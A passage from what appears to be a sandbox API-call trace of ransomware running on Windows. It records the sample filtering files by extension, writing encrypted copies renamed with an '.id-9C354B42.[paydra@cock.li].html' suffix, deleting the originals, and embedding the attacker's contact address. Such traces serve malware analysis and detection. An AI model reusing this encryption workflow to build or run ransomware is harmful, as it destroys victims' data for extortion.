4 [0047.371] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".1cd") returned 4 [0047.371] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".jpg") returned 4 [0047.371] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".doc") returned 4 [0047.371] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.371] lstrlenW (lpString=".docx") returned 5 [0047.371] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.371] lstrlenW (lpString=".pdf") returned 4 [0047.371] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString=".xls") returned 4 [0047.371] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString=".xlsx") returned 5 [0047.371] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.371] lstrlenW (lpString=".ppt") returned 4 [0047.371] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".zip") returned 4 [0047.371] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString=".rar") returned 4 [0047.371] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.371] lstrlenW (lpString=".bz2") returned 4 [0047.371] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.371] lstrlenW (lpString=".7z") returned 3 [0047.371] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.371] lstrlenW (lpString=".dbf") returned 4 [0047.372] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.372] lstrlenW (lpString=".1cd") returned 4 [0047.372] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\PREVIEW.GIF") returned 73 [0047.372] lstrlenW (lpString=".jpg") returned 4 [0047.372] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.372] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0047.372] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.372] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=42453) returned 1 [0047.372] CloseHandle (hObject=0x1e8) returned 1 [0047.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 0x20 [0047.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.373] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.373] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.373] GetLastError () returned 0x0 [0047.373] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0xa5d5, lpOverlapped=0x0) returned 1 [0047.376] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xa5e0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xa5e0, lpOverlapped=0x0) returned 1 [0047.377] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.377] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.377] SetEndOfFile (hFile=0x21c) returned 1 [0047.377] CloseHandle (hObject=0x21c) returned 1 [0047.378] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.378] SetEndOfFile (hFile=0x1e8) returned 1 [0047.379] CloseHandle (hObject=0x1e8) returned 1 [0047.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.379] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\water\\thmbnail.png")) returned 1 [0047.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.379] lstrlenW (lpString=".doc") returned 4 [0047.379] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.379] lstrlenW (lpString=".docx") returned 5 [0047.379] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.379] lstrlenW (lpString=".pdf") returned 4 [0047.379] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.379] lstrlenW (lpString=".xls") returned 4 [0047.379] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.379] lstrlenW (lpString=".xlsx") returned 5 [0047.379] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.379] lstrlenW (lpString=".ppt") returned 4 [0047.379] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.379] lstrlenW (lpString=".zip") returned 4 [0047.379] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.379] lstrlenW (lpString=".rar") returned 4 [0047.379] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.380] lstrlenW (lpString=".bz2") returned 4 [0047.380] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString=".7z") returned 3 [0047.380] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString=".dbf") returned 4 [0047.380] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString=".1cd") returned 4 [0047.380] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString=".jpg") returned 4 [0047.380] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString=".doc") returned 4 [0047.380] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString=".docx") returned 5 [0047.380] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.380] lstrlenW (lpString=".pdf") returned 4 [0047.380] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.380] lstrlenW (lpString=".xls") returned 4 [0047.380] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.380] lstrlenW (lpString=".xlsx") returned 5 [0047.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.380] lstrlenW (lpString=".ppt") returned 4 [0047.380] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.380] lstrlenW (lpString=".zip") returned 4 [0047.380] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.380] lstrlenW (lpString=".rar") returned 4 [0047.381] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.381] lstrlenW (lpString=".bz2") returned 4 [0047.381] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.381] lstrlenW (lpString=".7z") returned 3 [0047.381] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.381] lstrlenW (lpString=".dbf") returned 4 [0047.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.381] lstrlenW (lpString=".1cd") returned 4 [0047.381] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\THMBNAIL.PNG") returned 74 [0047.381] lstrlenW (lpString=".jpg") returned 4 [0047.381] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.381] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0047.381] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.381] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.382] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1571) returned 1 [0047.382] CloseHandle (hObject=0x1e8) returned 1 [0047.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 0x20 [0047.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.382] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.382] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.384] GetLastError () returned 0x0 [0047.384] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x623, lpOverlapped=0x0) returned 1 [0047.741] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x630, lpOverlapped=0x0) returned 1 [0047.742] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.742] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.742] SetEndOfFile (hFile=0x21c) returned 1 [0047.742] CloseHandle (hObject=0x21c) returned 1 [0047.742] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.742] SetEndOfFile (hFile=0x1e8) returned 1 [0047.743] CloseHandle (hObject=0x1e8) returned 1 [0047.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.743] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\preview.gif")) returned 1 [0047.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.743] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.743] lstrlenW (lpString=".doc") returned 4 [0047.744] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.744] lstrlenW (lpString=".docx") returned 5 [0047.744] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.744] lstrlenW (lpString=".pdf") returned 4 [0047.744] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString=".xls") returned 4 [0047.744] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString=".xlsx") returned 5 [0047.744] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.744] lstrlenW (lpString=".ppt") returned 4 [0047.744] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.744] lstrlenW (lpString=".zip") returned 4 [0047.744] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString=".rar") returned 4 [0047.744] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString=".bz2") returned 4 [0047.744] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.744] lstrlenW (lpString=".7z") returned 3 [0047.744] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.744] lstrlenW (lpString=".dbf") returned 4 [0047.744] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.744] lstrlenW (lpString=".1cd") returned 4 [0047.744] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.744] lstrlenW (lpString=".jpg") returned 4 [0047.744] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.744] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.745] lstrlenW (lpString=".doc") returned 4 [0047.745] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.745] lstrlenW (lpString=".docx") returned 5 [0047.745] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.745] lstrlenW (lpString=".pdf") returned 4 [0047.745] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.745] lstrlenW (lpString=".xls") returned 4 [0047.745] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.745] lstrlenW (lpString=".xlsx") returned 5 [0047.745] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.745] lstrlenW (lpString=".ppt") returned 4 [0047.745] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.745] lstrlenW (lpString=".zip") returned 4 [0047.745] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.745] lstrlenW (lpString=".rar") returned 4 [0047.745] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.745] lstrlenW (lpString=".bz2") returned 4 [0047.745] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.745] lstrlenW (lpString=".7z") returned 3 [0047.745] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.745] lstrlenW (lpString=".dbf") returned 4 [0047.745] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.745] lstrlenW (lpString=".1cd") returned 4 [0047.745] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.745] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\PREVIEW.GIF") returned 76 [0047.745] lstrlenW (lpString=".jpg") returned 4 [0047.745] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.746] lstrcmpiW (lpString1=".MSG", lpString2=".html") returned 1 [0047.746] lstrlenW (lpString="FPEXT.MSG") returned 9 [0047.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.746] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=169637) returned 1 [0047.746] CloseHandle (hObject=0x1e8) returned 1 [0047.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0047.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0047.747] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.747] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.747] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0047.747] GetLastError () returned 0x0 [0047.747] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0047.756] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0047.759] ReadFile (in: hFile=0x1e8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.759] WriteFile (in: hFile=0x21c, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.759] SetEndOfFile (hFile=0x21c) returned 1 [0047.759] CloseHandle (hObject=0x21c) returned 1 [0047.759] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.759] SetEndOfFile (hFile=0x1e8) returned 1 [0047.761] CloseHandle (hObject=0x1e8) returned 1 [0047.761] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0047.761] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0047.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.761] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.761] lstrlenW (lpString=".doc") returned 4 [0047.761] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0047.761] lstrlenW (lpString=".docx") returned 5 [0047.761] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0047.761] lstrlenW (lpString=".pdf") returned 4 [0047.762] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString=".xls") returned 4 [0047.762] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString=".xlsx") returned 5 [0047.762] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0047.762] lstrlenW (lpString=".ppt") returned 4 [0047.762] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0047.762] lstrlenW (lpString=".zip") returned 4 [0047.762] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString=".rar") returned 4 [0047.762] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0047.762] lstrlenW (lpString=".bz2") returned 4 [0047.762] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0047.762] lstrlenW (lpString=".7z") returned 3 [0047.762] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0047.762] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 